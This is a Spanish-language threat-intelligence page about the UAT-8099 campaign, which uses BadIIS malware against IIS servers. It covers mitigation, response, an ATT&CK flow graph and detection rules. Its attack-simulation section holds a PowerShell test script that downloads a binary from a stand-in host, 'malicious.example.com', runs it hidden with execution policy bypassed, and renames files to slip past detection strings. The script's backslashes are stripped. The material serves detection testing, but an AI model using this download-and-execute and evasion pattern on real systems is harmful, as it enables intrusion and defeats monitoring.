Disecando UAT-8099: Nuevos mecanismos de persistencia y enfoque regional
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Cisco Talos informa sobre una nueva campaña UAT-8099 que apunta a servidores web IIS vulnerables en Asia. El actor despliega variantes personalizadas de BadIIS que incluyen identificadores regionales y se basa en web shells, PowerShell, y la herramienta de control remoto GotoHTTP para el control posterior. La persistencia se ha ampliado para incluir la creación de cuentas locales ocultas y el uso de herramientas legítimas de equipos de red para integrarse en actividades administrativas. La táctica se superpone con la operación WEBJACK anterior y parece centrarse en el fraude SEO que afecta a sitios en Tailandia y Vietnam.
Investigación
Talos revisó la telemetría de DNS, hashes de archivos y scripts maliciosos para reconstruir la cadena de intrusión. Los analistas observaron web shells combinados con herramientas como SoftEther VPN y EasyTier, además de un conjunto de utilidades personalizadas que incluyen Sharp4RemoveLog, CnCrypt Protect, OpenArk64, y GotoHTTP. Dos cepas de BadIIS ajustadas por región —IISHijack y asdSearchEngine— fueron ingenieradas inversamente, exponiendo códigos de país codificados, filtrado selectivo de solicitudes y configuración C2 cifrada con XOR. También se identificó una compilación ELF de BadIIS con dominios C2 coincidentes en VirusTotal.
Mitigación
Parchear vulnerabilidades expuestas en IIS, fortalecer la aplicación del firewall de aplicaciones web y monitorear la creación de cuentas locales ocultas (por ejemplo, admin$, mysql$ y similares). Detectar actividad de PowerShell que descargue o lance GotoHTTP y bloquear la comunicación saliente a dominios C2 conocidos. Usar controles de endpoint para alertar sobre la ejecución de las utilidades personalizadas identificadas y sobre modificaciones inesperadas dentro de los directorios del servidor web.
Respuesta
Si se encuentran indicadores, aislar el servidor, eliminar web shells y borrar cuentas ocultas. Conservar los binarios de BadIIS y los scripts relacionados para análisis forense, y realizar una revisión completa del tráfico de red para identificar actividad C2. Restaurar desde un respaldo seguro conocido y reforzar la configuración de IIS para prevenir la reinfección.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ffcc99 %% Node definitions action_exploit_public_facing[«<b>Acción</b> – <b>T1190 Explotar Aplicación Expuesta al Público</b><br/><b>Descripción</b>: Explota vulnerabilidades en aplicaciones expuestas a Internet para obtener acceso inicial.<br/><b>Detalles</b>: Comprometió servidores IIS mediante vulnerabilidades conocidas y desplegó web shells.»] class action_exploit_public_facing action tool_web_shell[«<b>Herramienta</b> – <b>Nombre</b>: Web Shell<br/><b>Descripción</b>: Script del lado del servidor que permite la ejecución remota de comandos.»] class tool_web_shell tool action_powershell_execution[«<b>Acción</b> – <b>T1059.001 PowerShell</b><br/><b>Descripción</b>: Utiliza PowerShell para ejecutar comandos y cargas útiles.<br/><b>Comandos</b>: whoami, tasklist, descarga de herramientas.»] class action_powershell_execution action tool_powershell[«<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br/><b>Descripción</b>: Intérprete de línea de comandos y lenguaje de scripting de Windows.»] class tool_powershell tool action_system_info_discovery[«<b>Acción</b> – <b>T1082 Descubrimiento de Información del Sistema</b><br/><b>Descripción</b>: Recopila información del sistema operativo y la configuración de hardware.<br/><b>Comandos</b>: recopilación de información del sistema, registro del contexto del usuario.»] class action_system_info_discovery action action_create_account[«<b>Acción</b> – <b>T1136 Crear Cuenta</b><br/><b>Descripción</b>: Crea cuentas locales ocultas para persistencia.»] class action_create_account action action_valid_accounts[«<b>Acción</b> – <b>T1078 Cuentas Válidas</b><br/><b>Descripción</b>: Utiliza las cuentas creadas para acceso continuo y escalada de privilegios.»] class action_valid_accounts action action_clear_event_logs[«<b>Acción</b> – <b>T1070.001 Borrar Registros de Eventos de Windows</b><br/><b>Descripción</b>: Elimina registros para ocultar la actividad.<br/><b>Herramienta</b>: Utilidad Sharp4RemoveLog.»] class action_clear_event_logs action tool_sharp4removelog[«<b>Herramienta</b> – <b>Nombre</b>: Sharp4RemoveLog<br/><b>Descripción</b>: Utilidad para borrar registros de eventos de Windows.»] class tool_sharp4removelog tool action_disable_event_logging[«<b>Acción</b> – <b>T1562.002 Deshabilitar el Registro de Eventos de Windows</b><br/><b>Descripción</b>: Daña las defensas desactivando el registro de eventos.»] class action_disable_event_logging action action_obfuscate_files[«<b>Acción</b> – <b>T1027 Archivos o Información Ofuscados</b><br/><b>Descripción</b>: Utiliza cifrado XOR (clave 0x7A) para ocultar la configuración C2 y plantillas HTML.»] class action_obfuscate_files action malware_badiis[«<b>Malware</b> – <b>Nombre</b>: BadIIS<br/><b>Descripción</b>: Variantes que emplean ofuscación XOR.»] class malware_badiis malware action_lateral_tool_transfer[«<b>Acción</b> – <b>T1570 Transferencia Lateral de Herramientas</b><br/><b>Descripción</b>: Transfiere herramientas y archivos dentro del entorno de la víctima.<br/><b>Herramientas</b>: binarios BadIIS, GotoHTTP, SoftEther VPN, EasyTier.»] class action_lateral_tool_transfer action tool_gotohttp[«<b>Herramienta</b> – <b>Nombre</b>: GotoHTTP<br/><b>Descripción</b>: Transfiere archivos a través de HTTP/HTTPS.»] class tool_gotohttp tool tool_softether[«<b>Herramienta</b> – <b>Nombre</b>: SoftEther VPN<br/><b>Descripción</b>: Proxy de múltiples saltos para el tunelizado de tráfico.»] class tool_softether tool tool_easytier[«<b>Herramienta</b> – <b>Nombre</b>: EasyTier<br/><b>Descripción</b>: Proxy de múltiples saltos para el tunelizado de tráfico.»] class tool_easytier tool action_proxy_multi_hop[«<b>Acción</b> – <b>T1090.003 Proxy de Múltiples Saltos</b><br/><b>Descripción</b>: Utiliza herramientas de proxy para ocultar el origen del tráfico.»] class action_proxy_multi_hop action action_web_protocol_c2[«<b>Acción</b> – <b>T1071.001 Protocolos Web</b><br/><b>Descripción</b>: Comunicación C2 a través de HTTP/HTTPS utilizando GotoHTTP.»] class action_web_protocol_c2 action %% Connections showing flow action_exploit_public_facing –>|usa| tool_web_shell tool_web_shell –>|habilita| action_powershell_execution action_powershell_execution –>|usa| tool_powershell tool_powershell –>|ejecuta| action_system_info_discovery action_system_info_discovery –>|conduce a| action_create_account action_create_account –>|habilita| action_valid_accounts action_valid_accounts –>|usa| action_clear_event_logs action_clear_event_logs –>|usa| tool_sharp4removelog action_clear_event_logs –>|también| action_disable_event_logging action_disable_event_logging –>|precede| action_obfuscate_files action_obfuscate_files –>|implementado por| malware_badiis malware_badiis –>|facilita| action_lateral_tool_transfer action_lateral_tool_transfer –>|transfiere| tool_gotohttp action_lateral_tool_transfer –>|transfiere| tool_softether action_lateral_tool_transfer –>|transfiere| tool_easytier tool_softether –>|usado para| action_proxy_multi_hop tool_easytier –>|usado para| action_proxy_multi_hop action_proxy_multi_hop –>|soporta| action_web_protocol_c2 tool_gotohttp –>|usado en| action_web_protocol_c2
Flujo de Ataque
Detecciones
Descarga o Carga vía Powershell (vía línea de comandos)
Ver
Archivos Sospechosos en el Perfil de Usuario Público (vía evento de archivo)
Ver
Posible Enumeración de Cuentas o Grupos (vía línea de comandos)
Ver
Detectar Ejecución de Comandos de PowerShell para el Despliegue de GotoHTTP [Windows Powershell]
Ver
Detección de Malware BadIIS Dirigido a Servidores IIS para Fraude SEO [Servidor Web]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación Pre-vuelo de Telemetría & Línea Base debe haber pasado.
-
Narrativa del Ataque y Comandos:
Un atacante ha ganado acceso inicial en un servidor web comprometido. Crean un directorio oculto llamadobad_iisbajo la raíz web de IIS y dejan caer un binario de web shell con nombre personalizadoshell_xyz.exe(evitando la cadena literal “web shell”). Usando el shell, ejecutan lateralmente una carga de PowerShell que descarga el binario de GotoHTTP, lo renombran asvc_update.exe, y lo ejecutan. Debido a que los nombres de imagen están ofuscados, se pasan por alto los controles originales deImage|contains, mientras que la línea de comandos aún contiene “PowerShell”. -
Script de Prueba de Regresión: Este script reproduce los pasos descritos y genera telemetría similar al ataque BadIIS sin usar exactamente las cadenas que la regla monitoriza.
# BadIIS simulation – obfuscated version $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # Deploy a renamed web‑shell (binary copy of a known benign exe) $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # Simulate the web‑shell invoking PowerShell to download GotoHTTP $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # Execute the PowerShell payload via the renamed web‑shell (process creation) Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "BadIIS simulation executed." -
Comandos de Limpieza: Elimina los artefactos plantados y restaura el entorno.
# Cleanup BadIIS simulation artifacts $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "Cleanup completed."